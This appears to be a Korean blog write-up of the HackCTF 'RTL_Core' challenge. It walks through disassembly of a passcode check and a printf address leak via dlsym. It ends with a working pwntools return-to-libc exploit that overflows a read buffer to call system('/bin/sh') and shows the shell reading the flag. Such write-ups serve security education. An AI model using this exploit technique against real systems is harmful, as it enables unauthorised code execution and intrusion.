시작
안녕하세요 :D
200점짜리 문제도 끝나서.. 이 문제부턴 250점이에요.
실제 대회에선 100점대 점수 문제만 겨우겨우 풀었는데 200점을 넘어서다니ㅠㅠ 감동이에요.
배점이 배점인만큼 어렵고 흥미로운 문제를 기대해봅니다.
시작해보죠!!
Write UP
root@goorm:/workspace/LCH_Server/HackCTF/16.RTL_Core# ./rtlcore
코어 파일에 액세스중입니다...
패스코드를 입력해주세요
Passcode: aaaa
실패!
패스코드를 달라고 하더니, 틀리니깐 실패! 를 출력합니다.
.
.
0x080486c7 <+66>: add esp,0x10
0x080486ca <+69>: sub esp,0xc
0x080486cd <+72>: lea eax,[ebp-0x1c]
0x080486d0 <+75>: push eax
0x080486d1 <+76>: call 0x8048470 <gets@plt>
0x080486d6 <+81>: add esp,0x10
0x080486d9 <+84>: sub esp,0xc
0x080486dc <+87>: lea eax,[ebp-0x1c]
0x080486df <+90>: push eax
0x080486e0 <+91>: call 0x80485cb <check_passcode>
.
.
main() 함수에서부터 gets()
로 입력받긴 하지만 일단 check_passcode()란 함수가 보이니 얘를 먼저 볼게요.
gdb-peda$ pd check_passcode
Dump of assembler code for function check_passcode:
0x080485cb <+0>: push ebp
0x080485cc <+1>: mov ebp,esp
0x080485ce <+3>: sub esp,0x10
0x080485d1 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080485d4 <+9>: mov DWORD PTR [ebp-0xc],eax
0x080485d7 <+12>: mov DWORD PTR [ebp-0x8],0x0
0x080485de <+19>: mov DWORD PTR [ebp-0x4],0x0
0x080485e5 <+26>: jmp 0x80485ff <check_passcode+52>
0x080485e7 <+28>: mov eax,DWORD PTR [ebp-0x4]
0x080485ea <+31>: lea edx,[eax*4+0x0]
0x080485f1 <+38>: mov eax,DWORD PTR [ebp-0xc]
0x080485f4 <+41>: add eax,edx
0x080485f6 <+43>: mov eax,DWORD PTR [eax]
0x080485f8 <+45>: add DWORD PTR [ebp-0x8],eax
0x080485fb <+48>: add DWORD PTR [ebp-0x4],0x1
0x080485ff <+52>: cmp DWORD PTR [ebp-0x4],0x4
0x08048603 <+56>: jle 0x80485e7 <check_passcode+28>
0x08048605 <+58>: mov eax,DWORD PTR [ebp-0x8]
0x08048608 <+61>: leave
0x08048609 <+62>: ret
End of assembler dump.
어떤 연산이 진행되는 모습입니다.
딱 보니 ebp-0x4가 i 같은 카운트 변수고, ebp-0x8을 eax에 넣고 리턴하는 걸로 보아 ebp-0x8의 값을 잘 맞춰주어야 하겠네요.
.
.
0x080486e0 <+91>: call 0x80485cb <check_passcode>
0x080486e5 <+96>: add esp,0x10
0x080486e8 <+99>: mov edx,eax
0x080486ea <+101>: mov eax,ds:0x804a030
0x080486ef <+106>: cmp edx,eax
0x080486f1 <+108>: jne 0x804870a <main+133>
0x080486f3 <+110>: sub esp,0xc
0x080486f6 <+113>: push 0x8048840
0x080486fb <+118>: call 0x8048480 <puts@plt>
0x08048700 <+123>: add esp,0x10
0x08048703 <+126>: call 0x804860a <core>
0x08048708 <+131>: jmp 0x804871a <main+149>
0x0804870a <+133>: sub esp,0xc
0x0804870d <+136>: push 0x8048881
0x08048712 <+141>: call 0x8048480 <puts@plt>
0x08048717 <+146>: add esp,0x10
0x0804871a <+149>: mov eax,0x0
0x0804871f <+154>: mov ecx,DWORD PTR [ebp-0x4]
0x08048722 <+157>: leave
0x08048723 <+158>: lea esp,[ecx-0x4]
0x08048726 <+161>: ret
End of assembler dump.
그렇게 리턴된 값에 따라 cmp 구문을 거쳐 core() 함수의 실행 여부가 갈리게 됩니다.
0x804a030
에 들어있는 값은 0xc0d9b0a7
이에요.
0x080485d1 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080485d4 <+9>: mov DWORD PTR [ebp-0xc],eax
0x080485d7 <+12>: mov DWORD PTR [ebp-0x8],0x0
0x080485de <+19>: mov DWORD PTR [ebp-0x4],0x0
0x080485e5 <+26>: jmp 0x80485ff <check_passcode+52>
0x080485e7 <+28>: mov eax,DWORD PTR [ebp-0x4]
0x080485ea <+31>: lea edx,[eax*4+0x0]
0x080485f1 <+38>: mov eax,DWORD PTR [ebp-0xc]
0x080485f4 <+41>: add eax,edx
0x080485f6 <+43>: mov eax,DWORD PTR [eax]
0x080485f8 <+45>: add DWORD PTR [ebp-0x8],eax
0x080485fb <+48>: add DWORD PTR [ebp-0x4],0x1
0x080485ff <+52>: cmp DWORD PTR [ebp-0x4],0x4
0x08048603 <+56>: jle 0x80485e7 <check_passcode+28>
check_passcode() 함수로 돌아와서 이 연산을 보면
DWORD, 4 bytes 단위로 우리의 입력을 끌고와서 덧셈을 하는 것이 보이네요.
따라서 4 * 5 = 20 bytes의 입력을 우리가 주고, 얘들을 4 bytes 단위로 끊어서 더한 값이 0xc0d9b0a7
이면
core() 함수를 실행시킬 수 있을 것 같습니다.
Input으로 0xc0d9b0a7(4) + \x00 * 16
을 주겠습니다.
gdb-peda$ pd core
Dump of assembler code for function core:
0x0804860a <+0>: push ebp
0x0804860b <+1>: mov ebp,esp
0x0804860d <+3>: push edi
0x0804860e <+4>: push ebx
0x0804860f <+5>: sub esp,0x40
0x08048612 <+8>: mov DWORD PTR [ebp-0x3e],0x0
0x08048619 <+15>: lea eax,[ebp-0x3a]
0x0804861c <+18>: mov ecx,0x2e
0x08048621 <+23>: mov ebx,0x0
0x08048626 <+28>: mov DWORD PTR [eax],ebx
0x08048628 <+30>: mov DWORD PTR [eax+ecx*1-0x4],ebx
0x0804862c <+34>: lea edx,[eax+0x4]
0x0804862f <+37>: and edx,0xfffffffc
0x08048632 <+40>: sub eax,edx
0x08048634 <+42>: add ecx,eax
0x08048636 <+44>: and ecx,0xfffffffc
0x08048639 <+47>: shr ecx,0x2
0x0804863c <+50>: mov edi,edx
0x0804863e <+52>: mov eax,ebx
0x08048640 <+54>: rep stos DWORD PTR es:[edi],eax
0x08048642 <+56>: sub esp,0x8
0x08048645 <+59>: push 0x80487b0
0x0804864a <+64>: push 0xffffffff
0x0804864c <+66>: call 0x80484a0 <dlsym@plt>
0x08048651 <+71>: add esp,0x10
0x08048654 <+74>: mov DWORD PTR [ebp-0xc],eax
0x08048657 <+77>: sub esp,0x8
0x0804865a <+80>: push DWORD PTR [ebp-0xc]
0x0804865d <+83>: push 0x80487b8
0x08048662 <+88>: call 0x8048460 <printf@plt>
0x08048667 <+93>: add esp,0x10
0x0804866a <+96>: sub esp,0x4
0x0804866d <+99>: push 0x64
0x0804866f <+101>: lea eax,[ebp-0x3e]
0x08048672 <+104>: push eax
0x08048673 <+105>: push 0x0
0x08048675 <+107>: call 0x8048450 <read@plt>
0x0804867a <+112>: add esp,0x10
0x0804867d <+115>: nop
0x0804867e <+116>: lea esp,[ebp-0x8]
0x08048681 <+119>: pop ebx
0x08048682 <+120>: pop edi
0x08048683 <+121>: pop ebp
0x08048684 <+122>: ret
End of assembler dump.
core() 함수입니다.
핵심은 dlsym()
함수인데요!! 이 친구는 공유 라이브러리에서 함수의 시작 주소를 리턴해줘요.
gdb-peda$ x/s 0x80487b0
0x80487b0: "printf"
즉, printf()의 주소를 던져주는거죠.
라이브러리도 줬으니 system()과 “/bin/sh”의 offset을 구하고 read() 구문에서 터뜨리면 될 것 같습니다.
코드는 다음과 같아요.
from pwn import *
context.log_level = "debug"
#p = process("./rtlcore")
p = remote("ctf.j0n9hyun.xyz", 3015)
payload = ""
core = 0x804860a
system_offset = 0xe6e0
binsh_offset = 0x11000b
p.recvuntil("Passcode: ")
payload += "\xa7\xb0\xd9\xc0"
payload += "\x00" * 16
p.sendline(payload)
p.recvuntil("0x")
printf_addr = int(p.recv(8), 16)
log.info("printf_addr = " + hex(printf_addr))
system = printf_addr - system_offset
binsh = printf_addr + binsh_offset
exploit = ""
exploit += "A" * 66
exploit += p32(system)
exploit += "AAAA"
exploit += p32(binsh)
p.sendline(exploit)
p.interactive()
[+] Opening connection to ctf.j0n9hyun.xyz on port 3015: Done
[*] printf_addr = 0xf7e55020
[*] Switching to interactive mode
일거야
$ ls
flag
main
$ cat flag
//flag!!!
Exploit!!
마무리
갑자기 수준이 확 뛴 느낌입니다 ㅋㅋㅋ
main()에서 gets()를 주길래 허무할 뻔.. 했지만 재미있게 풀었네요.
감사합니다 :D
'CTF_Write_UP > HackCTF' 카테고리의 다른 글
[HackCTF] Look at me (0) | 2019.09.23 |
---|---|
[HackCTF] Beginner_Heap (0) | 2019.09.23 |
[HackCTF] Random Key (0) | 2019.09.22 |
[HackCTF] 1996 (0) | 2019.09.22 |
[HackCTF] Poet (0) | 2019.09.22 |